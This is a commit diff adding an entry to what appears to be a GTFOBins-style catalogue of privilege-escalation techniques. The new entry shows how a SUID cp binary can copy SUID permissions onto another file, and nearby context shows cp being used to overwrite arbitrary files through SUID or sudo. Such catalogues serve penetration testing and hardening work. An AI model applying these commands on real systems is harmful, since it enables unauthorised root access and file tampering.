Add cp suid

This commit is contained in:
Renato Almeida de Oliveira 2021-06-04 09:02:15 -03:00 committed by GitHub
parent 7c9c505542
commit cfe0a0c300
No known key found for this signature in database
GPG Key ID: 4AEE18F83AFDEB23

View File

@ -18,6 +18,10 @@ functions:
TF=$(mktemp) TF=$(mktemp)
echo "DATA" > $TF echo "DATA" > $TF
./cp $TF $LFILE ./cp $TF $LFILE
- description: This can copy SUID permissions from any SUID binary (e.g., `cp` itself) to another.
code: |
LFILE=file_to_change
./cp --attributes-only --preserve=all ./cp "$LFILE"
sudo: sudo:
- code: | - code: |
LFILE=file_to_write LFILE=file_to_write